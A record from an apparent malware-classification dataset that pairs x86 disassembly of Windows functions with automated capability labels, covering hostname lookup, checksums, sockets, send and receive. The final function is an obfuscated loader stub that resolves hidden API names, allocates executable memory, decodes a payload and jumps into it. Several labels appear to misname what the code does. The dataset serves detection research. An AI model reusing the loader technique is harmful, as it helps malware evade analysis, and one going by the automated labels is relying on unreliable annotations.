joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46326c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
mov ebx, eax
lea eax, [ebp - 0xc]
mov edx, dword [0x4078cc]
call fcn.00405530
xor eax, eax
push ebp
push 0x46340d
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x48e888], 0
jne 0x4632c7
mov ecx, dword [0x4927b4]
mov dl, 1
mov eax, dword [0x407ee0]
call fcn.0040cbc0
call fcn.00404508
lea eax, [ebp - 0x28]
xor ecx, ecx
mov edx, 0x10
call fcn.004035a4
mov eax, ebx
call fcn.00405400
mov dword [ebp - 0x24], eax
mov esi, 0x46341c
lea edi, [ebp - 0x38]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x38]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
call fcn.004064c8
xor eax, eax
mov dword [ebp - 4], eax
mov eax, ebx
call fcn.00405410
test eax, eax
jle 0x4633b0
mov dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x48]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x46339c
lea eax, [ebp - 0x4c]
lea edx, [ebp - 0x48]
mov ecx, 0x10
call fcn.00404d30
mov edi, dword [ebp - 0x4c]
test edi, edi
je 0x463342
sub edi, 4
mov edi, dword [edi]
lea eax, [ebp - 0x50]
mov edx, ebx
call fcn.00404d48
mov esi, dword [ebp - 0x50]
test esi, esi
je 0x463358
sub esi, 4
mov esi, dword [esi]
push esi
lea eax, [ebp - 0x54]
mov edx, ebx
call fcn.00404d48
mov eax, dword [ebp - 0x54]
call fcn.00404f50
push eax
push edi
lea eax, [ebp - 0x58]
lea edx, [ebp - 0x48]
mov ecx, 0x10
call fcn.00404d30
mov eax, dword [ebp - 0x58]
call fcn.00404f50
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
test eax, eax
sete al
jmp 0x46339e
xor eax, eax
test al, al
je 0x4633a9
mov ebx, 0x15
jmp 0x4633b5
mov ebx, 0x10
jmp 0x4633b5
mov ebx, 0x15
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 0x28]
push eax
push ebx
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [0x48e888]
call fcn.004630ec
mov eax, dword [ebp - 4]
call fcn.004630ec
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004064e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x463414
lea eax, [ebp - 0x58]
mov edx, 4
call fcn.00404ae4
lea eax, [ebp - 0xc]
mov edx, dword [0x4078cc]
call fcn.00405600
ret
Function at 0x46c6b4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
push ebp
push ecx
mov esi, dword [ebx + 0x2c]
mov edi, dword [ebx + 0x3c]
sub edi, dword [ebx + 0x74]
sub edi, dword [ebx + 0x6c]
jmp 0x46c6e3
mov eax, dword [ebx + 0x2c]
sub eax, 0x106
add eax, esi
cmp eax, dword [ebx + 0x6c]
ja 0x46c762
push esi
mov eax, dword [ebx + 0x38]
mov edx, eax
mov ebp, esi
add edx, ebp
push edx
push eax
call fcn.0046af70
add esp, 0xc
sub dword [ebx + 0x70], esi
sub dword [ebx + 0x6c], esi
sub dword [ebx + 0x5c], ebp
mov eax, dword [ebx + 0x4c]
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x44]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x46c730
mov cx, word [esp]
sub cx, si
jmp 0x46c732
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x46c719
mov eax, esi
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x40]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x46c758
mov cx, word [esp]
sub cx, si
jmp 0x46c75a
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x46c741
add edi, esi
mov ebp, dword [ebx]
cmp dword [ebp + 4], 0
je 0x46c7bf
mov edx, dword [ebx + 0x38]
mov ecx, edi
add edx, dword [ebx + 0x6c]
mov eax, ebp
add edx, dword [ebx + 0x74]
call fcn.0046c388
add dword [ebx + 0x74], eax
cmp dword [ebx + 0x74], 3
jb 0x46c7aa
mov eax, dword [ebx + 0x38]
mov edx, dword [ebx + 0x6c]
movzx eax, byte [eax + edx]
mov dword [ebx + 0x48], eax
mov ecx, dword [ebx + 0x58]
shl eax, cl
mov edx, dword [ebx + 0x38]
mov ecx, dword [ebx + 0x6c]
movzx edx, byte [edx + ecx + 1]
xor eax, edx
and eax, dword [ebx + 0x54]
mov dword [ebx + 0x48], eax
cmp dword [ebx + 0x74], 0x106
jae 0x46c7bf
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x46c6be
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x472bf8
Capabilities:
Hash data with crc32

Disassembly:
push ebx
push esi
xor esi, esi
mov ecx, 0x497d84
mov eax, esi
mov edx, 8
mov ebx, eax
and ebx, 1
test bl, bl
je 0x472c1a
shr eax, 1
xor eax, 0xedb88320
jmp 0x472c1c
shr eax, 1
dec edx
jne 0x472c08
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x472c01
mov byte [0x498184], 1
pop esi
pop ebx
ret

Function at 0x472c38
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
cmp byte [0x498184], 0
jne 0x472c4f
call fcn.00472bf8
mov eax, edi
dec eax
test eax, eax
jl 0x472c77
inc eax
xor edx, edx
movzx ecx, byte [esi + edx]
xor ecx, ebx
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x497d84]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x472c59
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x4758e4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebx + 0x14]
movzx edx, byte [eax + 0x45e]
movzx ecx, dl
cmp ecx, 6
ja case.0x47597e.0
jmp dword [ecx*4 + 0x475917]
movzx edx, byte [eax + 0x45d]
sub dl, 8
je 0x475949
sub dl, 8
je 0x475958
jmp case.0x47597e.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x475590
jmp case.0x47597e.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x4755e8
jmp case.0x47597e.0
movzx ecx, byte [eax + 0x45d]
cmp ecx, 0x10
ja case.0x47597e.0
movzx ecx, byte [ecx + 0x475985]
jmp dword [ecx*4 + 0x475996]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x475694
jmp case.0x47597e.0
cmp dl, 3
jne 0x4759c3
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x4756e8
jmp case.0x47597e.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x4756a4
jmp case.0x47597e.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x47572c
jmp case.0x47597e.0
movzx edx, byte [eax + 0x45d]
sub dl, 8
je 0x4759ee
sub dl, 8
je 0x4759fa
jmp case.0x47597e.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x475758
jmp case.0x47597e.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x4757c4
jmp case.0x47597e.0
movzx edx, byte [eax + 0x45d]
sub dl, 8
je 0x475a19
sub dl, 8
je 0x475a25
jmp case.0x47597e.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x475880
jmp case.0x47597e.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x4758a8
mov edx, dword [eax + 0x462]
mov ecx, dword [ebx + 0x1c]
dec ecx
imul edx, ecx
mov esi, edx
add esi, dword [eax + 0x44d]
mov dword [ebp - 0xc], esi
mov esi, dword [eax + 0x451]
mov dword [ebp - 8], esi
mov esi, edx
add esi, dword [eax + 0x449]
mov dword [ebp - 0x10], esi
mov esi, ecx
test esi, esi
jb 0x475ac9
inc esi
mov eax, dword [ebx + 0x20]
inc eax
push eax
lea eax, [ebx + 0x49]
push eax
mov eax, dword [ebp + 8]
push eax
movzx eax, byte [ebx + 0x48]
mov ecx, dword [ebx + eax*4 + 0x40]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00474a9c
test eax, eax
je 0x475ac9
mov eax, ebx
call fcn.00475ad4
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x10]
push eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
lea edx, [eax + 1]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
call dword [ebp - 0x18]
movzx eax, byte [ebx + 0x48]
xor al, 1
mov byte [ebx + 0x48], al
mov eax, dword [ebx + 0x14]
mov eax, dword [eax + 0x462]
sub dword [ebp - 0xc], eax
sub dword [ebp - 0x10], eax
mov eax, dword [ebx + 0x18]
add dword [ebp - 8], eax
dec esi
jne 0x475a62
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x475ad4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax]
dec al
je 0x475b05
dec al
je 0x475b40
dec al
je 0x475b85
dec al
je 0x475bee
jmp 0x475c78
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x475c78
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x475b15
jmp 0x475c78
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x475c78
mov esi, 1
movzx eax, byte [ebx + 0x48]
mov edx, eax
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x475b50
jmp 0x475c78
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x475c78
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov ecx, esi
dec ecx
mov edx, dword [ebx + 0x24]
cmp ecx, edx
jae 0x475bb4
xor ebp, ebp
jmp 0x475bc4
mov ecx, esi
sub ecx, edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx ebp, byte [edx + ecx]
add eax, ebp
sar eax, 1
jns 0x475bcd
adc eax, 0
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [edx + esi]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x475b95
jmp 0x475c78
xor ebp, ebp
xor eax, eax
mov dword [esp + 4], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x475c78
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, esi
dec edx
cmp edx, dword [ebx + 0x24]
jb 0x475c47
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx ebp, byte [ecx + edx]
movzx edx, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [esp + 4], edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [esp], edx
movzx ecx, byte [esp + 4]
push eax
mov eax, ebp
pop edx
call fcn.00472c80
add al, byte [esp]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x475c02
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x47bc70
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x47bcf9
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x498188
push 0x101
call sub.wsock32.dll_WSAStartup
mov ebx, eax
test ebx, ebx
je 0x47bce3
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.0040c2c0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0xb
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], 0
mov eax, 0x47bd10
mov dword [ebp - 8], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x18]
push eax
push 2
mov ecx, dword [0x492b90]
mov dl, 1
mov eax, dword [0x47b474]
call fcn.0040cbfc
call fcn.00404508
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47bd00
lea eax, [ebp - 0x1c]
call fcn.00404ac0
ret

Function at 0x47c2d4
Capabilities:
Set socket configuration

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, eax
xor esi, esi
xor edi, edi
movzx eax, byte [0x47c330]
cmp al, byte [ebx + 0x28]
je 0x47c2f8
mov esi, 0x401
mov eax, ebx
call fcn.0047c420
mov edi, eax
movzx eax, byte [ebx + 0x28]
push eax
push esi
push edi
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_WSAAsyncSelect
movzx eax, byte [0x47c330]
cmp al, byte [ebx + 0x28]
jne 0x47c328
xor eax, eax
mov dword [esp], eax
push esp
push 0x8004667e
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_ioctlsocket
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x47c3b4
Capabilities:
Connect socket

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, ebx
call fcn.0047c2d4
mov cl, 1
mov edx, ebx
mov eax, ebx
mov si, 0xffff
call fcn.00403e90
push 0x10
lea eax, [ebx + 0x18]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_connect
mov edx, 0x47c418
call fcn.0047bbb8
mov byte [ebx + 0x29], 0
test byte [ebx + 0x28], 0x10
jne 0x47c40a
cmp dword [ebx + 4], 0xffffffff
setne al
mov byte [ebx + 8], al
mov cl, 2
mov edx, ebx
mov eax, ebx
mov si, 0xffff
call fcn.00403e90
pop esi
pop ebx
ret

Function at 0x47c43c
Capabilities:
Resolve dns

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, edx
mov eax, ebx
call fcn.00404f50
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 4
call fcn.004035a4
test ebx, ebx
je 0x47c48b
mov eax, ebx
mov edx, dword [eax + 0xc]
mov edx, dword [edx]
movzx ecx, byte [edx]
mov byte [esp + 4], cl
movzx ecx, byte [edx + 1]
mov byte [esp + 5], cl
movzx ecx, byte [edx + 2]
mov byte [esp + 6], cl
movzx eax, byte [edx + 3]
mov byte [esp + 7], al
mov eax, dword [esp + 4]
mov dword [esp], eax
mov eax, dword [esp]
pop ecx
pop edx
pop ebx
ret
Function at 0x47c568
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x47c599
mov ecx, dword [0x492aa0]
mov dl, 1
mov eax, dword [0x47b474]
call fcn.0040cbc0
call fcn.00404508
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x47c5c6
mov ecx, dword [0x492a1c]
mov dl, 1
mov eax, dword [0x47b474]
call fcn.0040cbc0
call fcn.00404508
xor eax, eax
push ebp
push 0x47c642
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xffff
call fcn.00403e90
cmp byte [ebp + 8], 0
je 0x47c61e
mov eax, dword [ebp + 0x10]
push eax
movzx eax, word [ebp + 0xc]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0047c4d0
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x18]
lea edi, [eax + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 4]
call fcn.0047c3b4
jmp 0x47c638
mov eax, dword [ebp + 0x10]
push eax
movzx eax, word [ebp + 0xc]
push eax
push 0
push 1
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0047bea8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47c65f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x47c824
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0047c170
xor eax, eax
push ebp
push 0x47c997
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x47c981
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x47c870
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x47c87a
call fcn.004045b4
jmp 0x47c99e
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041a7e0
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ebx, eax
test ebx, ebx
jle 0x47c976
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov edi, eax
cmp edi, 0xffffffff
jne 0x47c929
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x47c916
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403e90
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.0047c7dc
pop ecx
mov eax, dword [ebp - 4]
movzx edx, byte [0x47c9ac]
cmp dl, byte [eax + 0x28]
je 0x47c97d
call fcn.0040cad8
jmp 0x47c97d
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041a800
jmp 0x47c97d
cmp edi, ebx
jge 0x47c945
mov eax, dword [ebp - 0xc]
add eax, edi
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041a800
jmp 0x47c87a
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041a7e0
cmp edx, dword [esp + 4]
jne 0x47c965
cmp eax, dword [esp]
pop edx
pop eax
jne 0x47c87a
push ebp
call fcn.0047c7dc
pop ecx
jmp 0x47c97d
push ebp
call fcn.0047c7dc
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47c99e
mov eax, dword [ebp - 4]
call fcn.0047c17c
ret
movzx eax, byte [ebp - 5]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x47c9b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x47cad2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0047c170
xor eax, eax
push ebp
push 0x47cab5
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x47ca00
call fcn.004045b4
jmp 0x47cabc
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x47ca9f
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x47ca9f
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403e90
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x47ca9f
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c2c0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x47caec
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x492b90]
mov dl, 1
mov eax, dword [0x47b474]
call fcn.0040cbfc
call fcn.00404508
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47cabc
mov eax, dword [ebp - 4]
call fcn.0047c17c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47cad9
lea eax, [ebp - 0x28]
call fcn.00404ac0
ret
Function at 0x47cb38
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x2c], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x47cca9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0047c170
xor eax, eax
push ebp
push 0x47cc8c
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x47cb9d
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x47cb9d
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x47cc76
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x47cbb0
call fcn.004045b4
jmp 0x47cc93
lea eax, [ebp - 0x10]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
test eax, eax
jne 0x47cbd7
cmp dword [ebp - 0x10], 0
jle 0x47cbd7
cmp ebx, dword [ebp - 0x10]
jle 0x47cbd7
mov ebx, dword [ebp - 0x10]
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x47cc76
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x47cc76
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403e90
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x47cc76
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
call fcn.0040c2c0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x24], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
mov eax, 0x47ccc4
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0xb
lea eax, [ebp - 0x28]
push eax
push 2
mov ecx, dword [0x492b90]
mov dl, 1
mov eax, dword [0x47b474]
call fcn.0040cbfc
call fcn.00404508
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47cc93
mov eax, dword [ebp - 4]
call fcn.0047c17c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47ccb0
lea eax, [ebp - 0x2c]
call fcn.00404ac0
ret
Function at 0x10020313
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10020322
pop dword [ebp - 0x18]
mov eax, 0x88629ae9
sub eax, 0x786097c7
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x9021aa02
add dword [ebp - 0x28], 0xbe309b49
mov dword [ebp - 0x24], 0x4ae36111
sub dword [ebp - 0x24], 0x18b014cc
mov dword [ebp - 0x20], 0xc46c7bfb
sub dword [ebp - 0x20], 0x782037cd
mov dword [ebp - 0x1c], 0xce7ade38
add dword [ebp - 0x1c], 0x318521c8
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x16ea2b8d
sub dword [ebp - 0x28], 0xa277c237
mov dword [ebp - 0x24], 0x8b97e7b
sub dword [ebp - 0x24], 0xc74d1d06
mov dword [ebp - 0x20], 0x33450e69
add dword [ebp - 0x20], 0x302a5e03
mov dword [ebp - 0x1c], 0x9063cad4
sub dword [ebp - 0x1c], 0x9063cad4
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3afd4
push 0
call eax
mov ecx, 0x849666fa
add ecx, 0x7b69ec4f
xor edi, edi
add edi, eax
mov edx, 0xdf34be96
add edx, 0x30ce5d6a
add edx, dword [ebp - 0x18]
mov esi, 0x394f47e6
add esi, 0xef465902
xor dword [ebp - 4], 0xafb7eb10
mov ebx, dword [edx]
sub dword [ebp - 4], 0x54a0a483
add ebx, esi
mov dword [ebp - 0x10], 0x2decd5ca
mov dword [edi], ebx
xor dword [ebp - 4], 0x8bc4f503
add edi, 0x17f9da49
add edi, 0xe80625bb
add edx, 0x84013924
sub edx, 0x84013920
loop 0x1002043c
add eax, 0xf6b38957
add eax, 0x94db6a0
mov ebx, eax
add eax, 0x71d94af
sub eax, 0x71d94aa
mov ecx, 0xa173f575
sub ecx, 0x9173f575
add ecx, dword [ebp - 0x18]
call ebx
leave
ret